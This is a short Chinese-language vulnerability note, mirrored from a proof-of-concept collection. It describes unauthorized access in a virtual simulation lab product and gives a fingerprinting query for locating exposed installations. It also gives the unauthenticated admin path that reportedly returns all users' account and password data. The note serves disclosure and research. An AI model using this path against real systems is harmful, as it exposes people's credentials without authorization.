admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-07 20:06:03 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/Web应用漏洞/阿尔法科技 虚拟仿真实验室 未授权访问漏洞.md
Threekiii 11de4c1d47 update
2024-11-06 14:10:36 +08:00

545 B
Raw Blame History

阿尔法科技 虚拟仿真实验室 未授权访问漏洞

漏洞描述

阿尔法科技 虚拟仿真实验室 存在未授权访问漏洞，通过访问构造的Url可以获取敏感信息。

参考阅读：

漏洞影响

虚拟仿真实验室

网络测绘

body="河南阿尔法科技有限公司"

漏洞复现

未授权的Url为

/admin/student/studentlist.html?page=1

成功获取所有用户的账号密码信息